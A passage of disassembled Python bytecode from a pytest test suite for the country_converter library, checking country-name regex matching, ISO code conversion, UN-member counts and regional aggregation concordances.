LOAD_ATTR read_csv LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_GLOBAL TESTPATH LOAD_FAST request LOAD_ATTR param CALL_METHOD LOAD_CONST '\t' LOAD_CONST 'utf-8' LOAD_CONST ('sep', 'encoding') CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST converter LOAD_CONST 'XXX' STORE_FAST not_found_id SETUP_LOOP to 142 LOAD_FAST converter LOAD_ATTR data LOAD_METHOD iterrows CALL_METHOD GET_ITER FOR_ITER to 140 STORE_FAST row LOAD_FAST row LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name_short STORE_FAST name_test LOAD_FAST converter LOAD_ATTR convert LOAD_FAST name_test LOAD_CONST 'regex' LOAD_CONST 'name_short' LOAD_FAST not_found_id LOAD_CONST False LOAD_CONST ('src', 'to', 'not_found', 'enforce_list') CALL_FUNCTION STORE_FAST name_result LOAD_GLOBAL len LOAD_FAST name_result CALL_FUNCTION LOAD_CONST 2 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Name {} matched several regular expressions: {}' LOAD_METHOD format LOAD_FAST name_test LOAD_CONST ' ,' LOAD_METHOD join LOAD_FAST name_result CALL_METHOD CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST name_result LOAD_FAST not_found_id COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Name {} did not match any regular expression' LOAD_METHOD format LOAD_FAST name_test CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST name_result LOAD_FAST name_test COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Name {} did match the wrong regular expression: {}' LOAD_METHOD format LOAD_FAST name_test LOAD_FAST name_result CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST converter LOAD_CONST 'XXX' STORE_FAST not_found_id SETUP_LOOP to 142 LOAD_FAST converter LOAD_ATTR data LOAD_METHOD iterrows CALL_METHOD GET_ITER FOR_ITER to 140 STORE_FAST row LOAD_FAST row LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name_official STORE_FAST name_test LOAD_FAST converter LOAD_ATTR convert LOAD_FAST name_test LOAD_CONST 'regex' LOAD_CONST 'name_official' LOAD_FAST not_found_id LOAD_CONST False LOAD_CONST ('src', 'to', 'not_found', 'enforce_list') CALL_FUNCTION STORE_FAST name_result LOAD_GLOBAL len LOAD_FAST name_result CALL_FUNCTION LOAD_CONST 2 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Name {} matched several regular expressions: {}' LOAD_METHOD format LOAD_FAST name_test LOAD_CONST ' ,' LOAD_METHOD join LOAD_FAST name_result CALL_METHOD CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST name_result LOAD_FAST not_found_id COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Name {} did not match any regular expression' LOAD_METHOD format LOAD_FAST name_test CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST name_result LOAD_FAST name_test COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Name {} did match the wrong regular expression: {}' LOAD_METHOD format LOAD_FAST name_test LOAD_FAST name_result CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_ATTR CountryConverter LOAD_CONST True LOAD_CONST ('include_obsolete',) CALL_FUNCTION STORE_FAST converter LOAD_CONST 'XXX' STORE_FAST not_found_id SETUP_LOOP to 194 LOAD_FAST get_regex_test_data LOAD_ATTR data LOAD_METHOD iterrows CALL_METHOD GET_ITER FOR_ITER to 192 STORE_FAST row LOAD_FAST row LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name_test STORE_FAST name_test LOAD_FAST row LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name_short STORE_FAST name_short LOAD_FAST converter LOAD_ATTR convert LOAD_FAST name_test LOAD_CONST 'regex' LOAD_CONST 'name_short' LOAD_FAST not_found_id LOAD_CONST False LOAD_CONST ('src', 'to', 'not_found', 'enforce_list') CALL_FUNCTION STORE_FAST name_result LOAD_GLOBAL len LOAD_FAST name_result CALL_FUNCTION LOAD_CONST 2 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'File {0} - row {1}: Name {2} matched several regular expressions: {3}' LOAD_METHOD format LOAD_FAST get_regex_test_data LOAD_ATTR data_name LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST name_test LOAD_CONST ' ,' LOAD_METHOD join LOAD_FAST name_result CALL_METHOD CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST name_short LOAD_FAST not_found_id COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST name_result LOAD_FAST not_found_id COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'File {0} - row {1}: Name {2} did not match any regular expression' LOAD_METHOD format LOAD_FAST get_regex_test_data LOAD_ATTR data_name LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST name_test CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST name_result LOAD_FAST name_short COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'File {0} - row {1}: Name {2} did match the wrong regular expression: {3}' LOAD_METHOD format LOAD_FAST get_regex_test_data LOAD_ATTR data_name LOAD_FAST row LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST name_test LOAD_FAST name_result CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST converter LOAD_CONST 'DE' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'DEU' LOAD_CONST 'ISO3' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GB' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'GBR' LOAD_CONST 'ISO3' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GB' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'UK' LOAD_CONST 'ISO2' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GB' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'UK' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GB' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'GB' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GR' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'GR' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GR' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'EL' LOAD_CONST 'ISO2' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GR' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'EL' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'GB' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'GBR' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'TR' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'TR' LOAD_CONST 'ISO2' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'TR' LOAD_FAST converter LOAD_ATTR convert LOAD_CONST 'TUR' LOAD_CONST 'ISO3' LOAD_CONST 'ISO2' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST converter_basic LOAD_GLOBAL coco LOAD_ATTR CountryConverter LOAD_GLOBAL custom_data LOAD_CONST ('additional_data',) CALL_FUNCTION STORE_FAST converter_extended LOAD_FAST converter_basic LOAD_METHOD convert LOAD_CONST 'Congo' CALL_METHOD LOAD_CONST 'COG' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST converter_extended LOAD_METHOD convert LOAD_CONST 'Congo' CALL_METHOD LOAD_CONST 'COD' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST converter_extended LOAD_ATTR convert LOAD_CONST 'wirtland' LOAD_CONST 'name_short' LOAD_CONST ('to',) CALL_FUNCTION LOAD_CONST 'Wirtland' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 250 LOAD_FAST converter_extended LOAD_ATTR convert LOAD_CONST 'Congo' LOAD_CONST 'FAOcode' LOAD_CONST ('to',) CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_METHOD from_dict LOAD_CONST 'xxx country' BUILD_LIST LOAD_CONST 'longer xxx country name' BUILD_LIST LOAD_CONST 'xxx country' BUILD_LIST LOAD_CONST 'XXX' BUILD_LIST LOAD_CONST 'XX' BUILD_LIST LOAD_CONST ('name_short', 'name_official', 'regex', 'ISO3', 'ISO2') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST add_data LOAD_GLOBAL coco LOAD_ATTR CountryConverter LOAD_FAST add_data LOAD_CONST ('additional_data',) CALL_FUNCTION STORE_FAST converter_extended LOAD_CONST 'xxx country' LOAD_FAST converter_extended LOAD_ATTR convert LOAD_CONST 'XXX' LOAD_CONST 'ISO3' LOAD_CONST 'name_short' LOAD_CONST ('src', 'to') CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pd LOAD_METHOD isna LOAD_FAST converter_extended LOAD_ATTR convert LOAD_CONST 'XXX' LOAD_CONST 'ISO3' LOAD_CONST 'continent' LOAD_CONST ('src', 'to') CALL_FUNCTION CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_ATTR CountryConverter LOAD_CONST True LOAD_CONST ('only_UNmember',) CALL_FUNCTION STORE_FAST cc LOAD_GLOBAL len LOAD_FAST cc LOAD_ATTR data CALL_FUNCTION LOAD_CONST 193 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_GLOBAL len LOAD_FAST cc LOAD_ATTR data CALL_FUNCTION LOAD_CONST 250 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR CountryConverter LOAD_CONST False LOAD_CONST ('include_obsolete',) CALL_FUNCTION STORE_FAST cc LOAD_GLOBAL len LOAD_FAST cc LOAD_ATTR data CALL_FUNCTION LOAD_CONST 250 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR CountryConverter LOAD_CONST True LOAD_CONST ('include_obsolete',) CALL_FUNCTION STORE_FAST cc LOAD_GLOBAL len LOAD_FAST cc LOAD_ATTR data CALL_FUNCTION LOAD_CONST 256 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD LOAD_ATTR convert STORE_FAST converter LOAD_FAST converter LOAD_CONST 'NA' LOAD_CONST 'ISO3' LOAD_CONST ('to',) CALL_FUNCTION LOAD_CONST 'NAM' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST converter LOAD_CONST 'NAM' LOAD_CONST 'ISO2' LOAD_CONST ('to',) CALL_FUNCTION LOAD_CONST 'NA' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'AT' LOAD_CONST 'BE' LOAD_CONST 'DE' LOAD_CONST 'GB' LOAD_CONST 'TW' BUILD_LIST STORE_FAST _inp_list LOAD_GLOBAL dict LOAD_GLOBAL list LOAD_FAST _inp_list CALL_FUNCTION LOAD_GLOBAL tuple LOAD_FAST _inp_list CALL_FUNCTION LOAD_GLOBAL set LOAD_FAST _inp_list CALL_FUNCTION LOAD_GLOBAL pd LOAD_METHOD Series LOAD_FAST _inp_list CALL_METHOD LOAD_GLOBAL pd LOAD_METHOD Index LOAD_FAST _inp_list CALL_METHOD LOAD_CONST ('type_list', 'type_tuple', 'type_set', 'type_series', 'type_df_index') CALL_FUNCTION STORE_FAST inputs LOAD_CONST <code object <dictcomp> at 0x7fab82375810, file "f.py", line 213> LOAD_CONST 'test_iterable_inputs.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST inputs LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST outputs LOAD_CONST 23.8 STORE_FAST input_error LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 104 STORE_FAST e_sys LOAD_GLOBAL coco LOAD_METHOD convert LOAD_FAST input_error CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST tt STORE_FAST val LOAD_GLOBAL sorted LOAD_GLOBAL coco LOAD_METHOD convert LOAD_FAST val CALL_METHOD CALL_FUNCTION LOAD_FAST tt MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 'EXIO1' STORE_FAST classA LOAD_CONST 'continent' STORE_FAST classB LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR get_correspondence_dict LOAD_FAST classA LOAD_FAST classB LOAD_CONST ('classA', 'classB') CALL_FUNCTION STORE_FAST corr LOAD_GLOBAL type LOAD_FAST corr CALL_FUNCTION LOAD_GLOBAL dict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST corr CALL_FUNCTION LOAD_CONST 44 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST corr LOAD_CONST 'DE' BINARY_SUBSCR LOAD_CONST 'Europe' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST corr LOAD_CONST 'ZA' BINARY_SUBSCR LOAD_CONST 'Africa' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST corr LOAD_CONST 'WW' BINARY_SUBSCR LOAD_CONST 'Asia' LOAD_CONST 'Europe' LOAD_CONST 'Africa' LOAD_CONST 'Oceania' LOAD_CONST 'America' LOAD_CONST 'Antarctica' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'EXIO1' STORE_FAST classA LOAD_CONST 'OECD' STORE_FAST classB LOAD_GLOBAL coco LOAD_METHOD CountryConverter CALL_METHOD STORE_FAST cc LOAD_FAST cc LOAD_ATTR get_correspondence_dict LOAD_FAST classA LOAD_FAST classB LOAD_CONST True LOAD_CONST ('classA', 'classB', 'replace_numeric') CALL_FUNCTION STORE_FAST corr_str LOAD_GLOBAL type LOAD_FAST corr_str CALL_FUNCTION LOAD_GLOBAL dict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST corr_str CALL_FUNCTION LOAD_CONST 44 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST corr_str LOAD_CONST 'JP' BINARY_SUBSCR LOAD_CONST 'OECD' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST corr_str LOAD_CONST 'ZA' BINARY_SUBSCR LOAD_CONST None BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None LOAD_FAST corr_str LOAD_CONST 'WW' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'OECD' LOAD_FAST corr_str LOAD_CONST 'WW' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST corr_str LOAD_CONST 'WW' BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cc LOAD_ATTR get_correspondence_dict LOAD_FAST classA LOAD_FAST classB LOAD_CONST False LOAD_CONST ('classA', 'classB', 'replace_numeric') CALL_FUNCTION STORE_FAST corr_num LOAD_GLOBAL type LOAD_FAST corr_num CALL_FUNCTION LOAD_GLOBAL dict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST corr_num CALL_FUNCTION LOAD_CONST 44 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST corr_num LOAD_CONST 'JP' BINARY_SUBSCR LOAD_CONST 1964 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pd LOAD_METHOD isna LOAD_FAST corr_num LOAD_CONST 'ZA' BINARY_SUBSCR CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 2010 LOAD_FAST corr_num LOAD_CONST 'WW' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1961 LOAD_FAST corr_num LOAD_CONST 'WW' BINARY_SUBSCR COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST corr_num LOAD_CONST 'WW' BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 6 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'c1' LOAD_CONST 'c2' LOAD_CONST 'c3' LOAD_CONST 'c4' BUILD_LIST STORE_FAST original_countries LOAD_CONST 'r1' LOAD_CONST 'r1' LOAD_CONST 'r2' LOAD_CONST ('c1', 'c2', 'c3') BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST aggregates LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST None LOAD_CONST True LOAD_CONST <code object <lambda> at 0x7fae2f37a9c0, file "f.py", line 282> LOAD_CONST 'test_build_agg_conc_custom.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST None LOAD_CONST False LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_dict_wmiss LOAD_FAST agg_dict_wmiss LOAD_GLOBAL OrderedDict LOAD_CONST ('c1', 'r1') LOAD_CONST ('c2', 'r1') LOAD_CONST ('c3', 'r2') LOAD_CONST ('c4', 'c4') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST None LOAD_CONST 'RoW' LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_dict_replace LOAD_FAST agg_dict_replace LOAD_GLOBAL OrderedDict LOAD_CONST ('c1', 'r1') LOAD_CONST ('c2', 'r1') LOAD_CONST ('c3', 'r2') LOAD_CONST ('c4', 'RoW') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST None LOAD_CONST False LOAD_CONST None LOAD_CONST None LOAD_CONST 'sparse' LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_vec_womiss LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_CONST 'c1' LOAD_CONST 'r1' BUILD_LIST LOAD_CONST 'c2' LOAD_CONST 'r1' BUILD_LIST LOAD_CONST 'c3' LOAD_CONST 'r2' BUILD_LIST BUILD_LIST LOAD_CONST 'original' LOAD_CONST 'aggregated' BUILD_LIST LOAD_CONST ('data', 'columns') CALL_FUNCTION STORE_FAST expected_vec LOAD_GLOBAL assert_frame_equal LOAD_FAST agg_vec_womiss LOAD_FAST expected_vec CALL_FUNCTION POP_TOP LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST None LOAD_CONST False LOAD_CONST None LOAD_CONST None LOAD_CONST 'full' LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_matrix_womiss LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_CONST 1.0 LOAD_CONST 0.0 BUILD_LIST LOAD_CONST 1.0 LOAD_CONST 0.0 BUILD_LIST LOAD_CONST 0.0 LOAD_CONST 1.0 BUILD_LIST BUILD_LIST LOAD_CONST 'r1' LOAD_CONST 'r2' BUILD_LIST LOAD_CONST 'c1' LOAD_CONST 'c2' LOAD_CONST 'c3' BUILD_LIST LOAD_CONST ('data', 'columns', 'index') CALL_FUNCTION STORE_FAST expected_matrix LOAD_CONST 'original' BUILD_LIST LOAD_FAST expected_matrix LOAD_ATTR index STORE_ATTR names LOAD_CONST 'aggregated' BUILD_LIST LOAD_FAST expected_matrix LOAD_ATTR columns STORE_ATTR names LOAD_GLOBAL assert_frame_equal LOAD_FAST agg_matrix_womiss LOAD_FAST expected_matrix CALL_FUNCTION POP_TOP LOAD_CONST 'c1' LOAD_CONST 'c2' LOAD_CONST 'c3' LOAD_CONST 'c4' BUILD_LIST STORE_FAST original_countries LOAD_CONST 'r1' LOAD_CONST 'r2' BUILD_LIST LOAD_CONST 'r1' LOAD_CONST 'r2' LOAD_CONST ('c1', 'c2', 'c3') BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST aggregates LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST '_&_' LOAD_CONST False LOAD_CONST None LOAD_CONST <code object <lambda> at 0x7fae2f37a5d0, file "f.py", line 351> LOAD_CONST 'test_build_agg_conc_custom.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST 'full' LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_matrix_double_region LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_CONST 0.0 LOAD_CONST 1.0 LOAD_CONST 0.0 BUILD_LIST LOAD_CONST 1.0 LOAD_CONST 0.0 LOAD_CONST 0.0 BUILD_LIST LOAD_CONST 0.0 LOAD_CONST 0.0 LOAD_CONST 1.0 BUILD_LIST BUILD_LIST LOAD_CONST 'r1' LOAD_CONST 'r1_&_r2' LOAD_CONST 'r2' BUILD_LIST LOAD_CONST 'c1' LOAD_CONST 'c2' LOAD_CONST 'c3' BUILD_LIST LOAD_CONST ('data', 'columns', 'index') CALL_FUNCTION STORE_FAST expected_matrix LOAD_CONST 'original' BUILD_LIST LOAD_FAST expected_matrix LOAD_ATTR index STORE_ATTR names LOAD_CONST 'aggregated' BUILD_LIST LOAD_FAST expected_matrix LOAD_ATTR columns STORE_ATTR names LOAD_GLOBAL assert_frame_equal LOAD_FAST agg_matrix_double_region LOAD_FAST expected_matrix CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL logging LOAD_METHOD error LOAD_CONST 'Country {} missing' LOAD_METHOD format LOAD_FAST x CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_GLOBAL logging LOAD_METHOD warning LOAD_CONST 'Country {} belongs to multiple regions' LOAD_METHOD format LOAD_FAST x CALL_METHOD CALL_METHOD RETURN_VALUE LOAD_CONST 'TW' LOAD_CONST 'XX' LOAD_CONST 'AT' LOAD_CONST 'US' LOAD_CONST 'WA' BUILD_LIST STORE_FAST original_countries LOAD_CONST 'EU' LOAD_CONST 'OECD' LOAD_CONST 'continent' BUILD_LIST STORE_FAST aggregates LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST False LOAD_CONST 'RoW' LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_dict_replace LOAD_FAST agg_dict_replace LOAD_GLOBAL OrderedDict LOAD_CONST ('TW', 'Asia') LOAD_CONST ('XX', 'RoW') LOAD_CONST ('AT', 'EU') LOAD_CONST ('US', 'OECD') LOAD_CONST ('WA', 'RoW') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST False LOAD_CONST False LOAD_CONST None LOAD_CONST None LOAD_CONST False LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_dict_skip LOAD_FAST agg_dict_skip LOAD_GLOBAL OrderedDict LOAD_CONST ('TW', 'Asia') LOAD_CONST ('AT', 'EU') LOAD_CONST ('US', 'OECD') BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL coco LOAD_ATTR agg_conc LOAD_FAST original_countries LOAD_FAST aggregates LOAD_CONST False LOAD_CONST False LOAD_CONST None LOAD_CONST None LOAD_CONST 'full' LOAD_CONST ('merge_multiple_string', 'missing_countries', 'log_missing_countries', 'log_merge_multiple_strings', 'as_dataframe') CALL_FUNCTION STORE_FAST agg_matrix_skip LOAD_FAST agg_matrix_skip LOAD_ATTR index LOAD_METHOD tolist CALL_METHOD LOAD_CONST 'TW' LOAD_CONST 'AT' LOAD_CONST 'US' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'OECD' LOAD_CONST 'EU' LOAD_CONST 'RoW' LOAD_CONST 'RoW' LOAD_CONST ('WA', 'WF') BUILD_CONST_KEY_MAP BUILD_LIST 